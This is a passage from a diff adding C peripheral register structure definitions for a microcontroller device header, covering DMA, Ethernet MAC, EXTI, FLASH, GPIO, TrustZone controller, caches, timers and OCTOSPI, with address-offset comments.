PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief Ethernet MAC + */ +typedef struct +{ + __IO uint32_t MACCR; + __IO uint32_t MACECR; + __IO uint32_t MACPFR; + __IO uint32_t MACWTR; + __IO uint32_t MACHT0R; + __IO uint32_t MACHT1R; + uint32_t RESERVED1[14]; + __IO uint32_t MACVTR; + uint32_t RESERVED2; + __IO uint32_t MACVHTR; + uint32_t RESERVED3; + __IO uint32_t MACVIR; + __IO uint32_t MACIVIR; + uint32_t RESERVED4[2]; + __IO uint32_t MACTFCR; + uint32_t RESERVED5[7]; + __IO uint32_t MACRFCR; + uint32_t RESERVED6[7]; + __IO uint32_t MACISR; + __IO uint32_t MACIER; + __IO uint32_t MACRXTXSR; + uint32_t RESERVED7; + __IO uint32_t MACPCSR; + __IO uint32_t MACRWKPFR; + uint32_t RESERVED8[2]; + __IO uint32_t MACLCSR; + __IO uint32_t MACLTCR; + __IO uint32_t MACLETR; + __IO uint32_t MAC1USTCR; + uint32_t RESERVED9[12]; + __IO uint32_t MACVR; + __IO uint32_t MACDR; + uint32_t RESERVED10; + __IO uint32_t MACHWF0R; + __IO uint32_t MACHWF1R; + __IO uint32_t MACHWF2R; + uint32_t RESERVED11[54]; + __IO uint32_t MACMDIOAR; + __IO uint32_t MACMDIODR; + uint32_t RESERVED12[2]; + __IO uint32_t MACARPAR; + uint32_t RESERVED13[59]; + __IO uint32_t MACA0HR; + __IO uint32_t MACA0LR; + __IO uint32_t MACA1HR; + __IO uint32_t MACA1LR; + __IO uint32_t MACA2HR; + __IO uint32_t MACA2LR; + __IO uint32_t MACA3HR; + __IO uint32_t MACA3LR; + uint32_t RESERVED14[248]; + __IO uint32_t MMCCR; + __IO uint32_t MMCRIR; + __IO uint32_t MMCTIR; + __IO uint32_t MMCRIMR; + __IO uint32_t MMCTIMR; + uint32_t RESERVED15[14]; + __IO uint32_t MMCTSCGPR; + __IO uint32_t MMCTMCGPR; + uint32_t RESERVED16[5]; + __IO uint32_t MMCTPCGR; + uint32_t RESERVED17[10]; + __IO uint32_t MMCRCRCEPR; + __IO uint32_t MMCRAEPR; + uint32_t RESERVED18[10]; + __IO uint32_t MMCRUPGR; + uint32_t RESERVED19[9]; + __IO uint32_t MMCTLPIMSTR; + __IO uint32_t MMCTLPITCR; + __IO uint32_t MMCRLPIMSTR; + __IO uint32_t MMCRLPITCR; + uint32_t RESERVED20[65]; + __IO uint32_t MACL3L4C0R; + __IO uint32_t MACL4A0R; + uint32_t RESERVED21[2]; + __IO uint32_t MACL3A0R0R; + __IO uint32_t MACL3A1R0R; + __IO uint32_t MACL3A2R0R; + __IO uint32_t MACL3A3R0R; + uint32_t RESERVED22[4]; + __IO uint32_t MACL3L4C1R; + __IO uint32_t MACL4A1R; + uint32_t RESERVED23[2]; + __IO uint32_t MACL3A0R1R; + __IO uint32_t MACL3A1R1R; + __IO uint32_t MACL3A2R1R; + __IO uint32_t MACL3A3R1R; + uint32_t RESERVED24[108]; + __IO uint32_t MACTSCR; + __IO uint32_t MACSSIR; + __IO uint32_t MACSTSR; + __IO uint32_t MACSTNR; + __IO uint32_t MACSTSUR; + __IO uint32_t MACSTNUR; + __IO uint32_t MACTSAR; + uint32_t RESERVED25; + __IO uint32_t MACTSSR; + uint32_t RESERVED26[3]; + __IO uint32_t MACTTSSNR; + __IO uint32_t MACTTSSSR; + uint32_t RESERVED27[2]; + __IO uint32_t MACACR; + uint32_t RESERVED28; + __IO uint32_t MACATSNR; + __IO uint32_t MACATSSR; + __IO uint32_t MACTSIACR; + __IO uint32_t MACTSEACR; + __IO uint32_t MACTSICNR; + __IO uint32_t MACTSECNR; + uint32_t RESERVED29[4]; + __IO uint32_t MACPPSCR; + uint32_t RESERVED30[3]; + __IO uint32_t MACPPSTTSR; + __IO uint32_t MACPPSTTNR; + __IO uint32_t MACPPSIR; + __IO uint32_t MACPPSWR; + uint32_t RESERVED31[12]; + __IO uint32_t MACPOCR; + __IO uint32_t MACSPI0R; + __IO uint32_t MACSPI1R; + __IO uint32_t MACSPI2R; + __IO uint32_t MACLMIR; + uint32_t RESERVED32[11]; + __IO uint32_t MTLOMR; + uint32_t RESERVED33[7]; + __IO uint32_t MTLISR; + uint32_t RESERVED34[55]; + __IO uint32_t MTLTQOMR; + __IO uint32_t MTLTQUR; + __IO uint32_t MTLTQDR; + uint32_t RESERVED35[8]; + __IO uint32_t MTLQICSR; + __IO uint32_t MTLRQOMR; + __IO uint32_t MTLRQMPOCR; + __IO uint32_t MTLRQDR; + uint32_t RESERVED36[177]; + __IO uint32_t DMAMR; + __IO uint32_t DMASBMR; + __IO uint32_t DMAISR; + __IO uint32_t DMADSR; + uint32_t RESERVED37[60]; + __IO uint32_t DMACCR; + __IO uint32_t DMACTCR; + __IO uint32_t DMACRCR; + uint32_t RESERVED38[2]; + __IO uint32_t DMACTDLAR; + uint32_t RESERVED39; + __IO uint32_t DMACRDLAR; + __IO uint32_t DMACTDTPR; + uint32_t RESERVED40; + __IO uint32_t DMACRDTPR; + __IO uint32_t DMACTDRLR; + __IO uint32_t DMACRDRLR; + __IO uint32_t DMACIER; + __IO uint32_t DMACRIWTR; + __IO uint32_t DMACSFCSR; + uint32_t RESERVED41; + __IO uint32_t DMACCATDR; + uint32_t RESERVED42; + __IO uint32_t DMACCARDR; + uint32_t RESERVED43; + __IO uint32_t DMACCATBR; + uint32_t RESERVED44; + __IO uint32_t DMACCARBR; + __IO uint32_t DMACSR; + uint32_t RESERVED45[2]; + __IO uint32_t DMACMFCR; +}ETH_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1; /*!< Reserved 1, Address offset: 0x1C */ + __IO uint32_t RTSR2; /*!< EXTI Rising Trigger Selection Register 2, Address offset: 0x20 */ + __IO uint32_t FTSR2; /*!< EXTI Falling Trigger Selection Register 2, Address offset: 0x24 */ + __IO uint32_t SWIER2; /*!< EXTI Software Interrupt event Register 2, Address offset: 0x28 */ + __IO uint32_t RPR2; /*!< EXTI Rising Pending Register 2, Address offset: 0x2C */ + __IO uint32_t FPR2; /*!< EXTI Falling Pending Register 2, Address offset: 0x30 */ + __IO uint32_t SECCFGR2; /*!< EXTI Security Configuration Register 2, Address offset: 0x34 */ + __IO uint32_t PRIVCFGR2; /*!< EXTI Privilege Configuration Register 2, Address offset: 0x38 */ + uint32_t RESERVED2[9]; /*!< Reserved 2, 0x3C-- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED3[3]; /*!< Reserved 3, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ + uint32_t RESERVED4[2]; /*!< Reserved 4, 0x88 -- 0x8C */ + __IO uint32_t IMR2; /*!< EXTI Interrupt Mask Register 2, Address offset: 0x90 */ + __IO uint32_t EMR2; /*!< EXTI Event Mask Register 2, Address offset: 0x94 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x04 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x08 */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x0C */ + __IO uint32_t NSOBKKEYR; /*!< FLASH non-secure option bytes keys key register, Address offset: 0x10 */ + __IO uint32_t SECOBKKEYR; /*!< FLASH secure option bytes keys key register, Address offset: 0x14 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x18 */ + __IO uint32_t OPTCR; /*!< Flash Option Control Register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t NSCCR; /*!< FLASH non-secure clear control register, Address offset: 0x30 */ + __IO uint32_t SECCCR; /*!< FLASH secure clear control register, Address offset: 0x34 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x38 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0x3C */ + __IO uint32_t NSOBKCFGR; /*!< FLASH non-secure option byte key configuration register, Address offset: 0x40 */ + __IO uint32_t SECOBKCFGR; /*!< FLASH secure option byte key configuration register, Address offset: 0x44 */ + __IO uint32_t HDPEXTR; /*!< FLASH HDP extension register, Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x4C */ + __IO uint32_t OPTSR_CUR; /*!< FLASH option status current register, Address offset: 0x50 */ + __IO uint32_t OPTSR_PRG; /*!< FLASH option status to program register, Address offset: 0x54 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x58-0x5C */ + __IO uint32_t NSEPOCHR_CUR; /*!< FLASH non-secure epoch current register, Address offset: 0x60 */ + __IO uint32_t NSEPOCHR_PRG; /*!< FLASH non-secure epoch to program register, Address offset: 0x64 */ + __IO uint32_t SECEPOCHR_CUR; /*!< FLASH secure epoch current register, Address offset: 0x68 */ + __IO uint32_t SECEPOCHR_PRG; /*!< FLASH secure epoch to program register, Address offset: 0x6C */ + __IO uint32_t OPTSR2_CUR; /*!< FLASH option status current register 2, Address offset: 0x70 */ + __IO uint32_t OPTSR2_PRG; /*!< FLASH option status to program register 2, Address offset: 0x74 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x78-0x7C */ + __IO uint32_t NSBOOTR_CUR; /*!< FLASH non-secure unique boot entry current register, Address offset: 0x80 */ + __IO uint32_t NSBOOTR_PRG; /*!< FLASH non-secure unique boot entry to program register, Address offset: 0x84 */ + __IO uint32_t SECBOOTR_CUR; /*!< FLASH secure unique boot entry current register, Address offset: 0x88 */ + __IO uint32_t SECBOOTR_PRG; /*!< FLASH secure unique boot entry to program register, Address offset: 0x8C */ + __IO uint32_t OTPBLR_CUR; /*!< FLASH OTP block lock current register, Address offset: 0x90 */ + __IO uint32_t OTPBLR_PRG; /*!< FLASH OTP block Lock to program register, Address offset: 0x94 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x98-0x9C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0xAC */ + uint32_t RESERVED6[4]; /*!< Reserved6, Address offset: 0xB0-0xBC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xC0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xC4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xC8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xCC */ + uint32_t RESERVED7[4]; /*!< Reserved7, Address offset: 0xD0-0xDC */ + __IO uint32_t SECWM1R_CUR; /*!< FLASH secure watermark 1 current register, Address offset: 0xE0 */ + __IO uint32_t SECWM1R_PRG; /*!< FLASH secure watermark 1 to program register, Address offset: 0xE4 */ + __IO uint32_t WRP1R_CUR; /*!< FLASH write sector group protection current register for bank1, Address offset: 0xE8 */ + __IO uint32_t WRP1R_PRG; /*!< FLASH write sector group protection to program register for bank1, Address offset: 0xEC */ + __IO uint32_t EDATA1R_CUR; /*!< FLASH data sectors configuration current register for bank1, Address offset: 0xF0 */ + __IO uint32_t EDATA1R_PRG; /*!< FLASH data sectors configuration to program register for bank1, Address offset: 0xF4 */ + __IO uint32_t HDP1R_CUR; /*!< FLASH HDP configuration current register for bank1, Address offset: 0xF8 */ + __IO uint32_t HDP1R_PRG; /*!< FLASH HDP configuration to program register for bank1, Address offset: 0xFC */ + __IO uint32_t ECCCORR; /*!< FLASH ECC correction register, Address offset: 0x100 */ + __IO uint32_t ECCDETR; /*!< FLASH ECC detection register, Address offset: 0x104 */ + __IO uint32_t ECCDR; /*!< FLASH ECC data register, Address offset: 0x108 */ + uint32_t RESERVED8[37]; /*!< Reserved8, Address offset: 0x10C-0x19C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0x1A0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0x1A4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0x1A8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0x1AC */ + uint32_t RESERVED9[4]; /*!< Reserved9, Address offset: 0x1B0-0x1BC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0x1C0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0x1C4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0x1C8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0x1CC */ + uint32_t RESERVED10[4]; /*!< Reserved10, Address offset: 0x1D0-0x1DC */ + __IO uint32_t SECWM2R_CUR; /*!< FLASH secure watermark 2 current register, Address offset: 0x1E0 */ + __IO uint32_t SECWM2R_PRG; /*!< FLASH secure watermark 2 to program register, Address offset: 0x1E4 */ + __IO uint32_t WRP2R_CUR; /*!< FLASH write sector group protection current register for bank2, Address offset: 0x1E8 */ + __IO uint32_t WRP2R_PRG; /*!< FLASH write sector group protection to program register for bank2, Address offset: 0x1EC */ + __IO uint32_t EDATA2R_CUR; /*!< FLASH data sectors configuration current register for bank2, Address offset: 0x1F0 */ + __IO uint32_t EDATA2R_PRG; /*!< FLASH data sectors configuration to program register for bank2, Address offset: 0x1F4 */ + __IO uint32_t HDP2R_CUR; /*!< FLASH HDP configuration current register for bank2, Address offset: 0x1F8 */ + __IO uint32_t HDP2R_PRG; /*!< FLASH HDP configuration to program register for bank2, Address offset: 0x1FC */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + __IO uint32_t MPCWM3BCFGR; /*!< TZSC memory 3 sub-region B watermark configuration register, Address offset: 0x68 */ + __IO uint32_t MPCWM3BR; /*!< TZSC memory 3 sub-region B watermark register, Address offset: 0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + __IO uint32_t MPCWM4BCFGR; /*!< TZSC memory 4 sub-region B watermark configuration register, Address offset: 0x78 */ + __IO uint32_t MPCWM4BR; /*!< TZSC memory 4 sub-region B watermark register, Address offset: 0x7c */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx lock register, Address offset: 0x10 */ + uint32_t RESERVED2[59]; /*!< Reserved2, Address offset: 0x14-0xFC */ + __IO uint32_t SECCFGR[32]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x17C */ + uint32_t RESERVED3[32]; /*!< Reserved3, Address offset: 0x180-0x1FC */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< OCTOSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< OCTOSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< OCTOSPI Device Configuration register 3, Address offset: 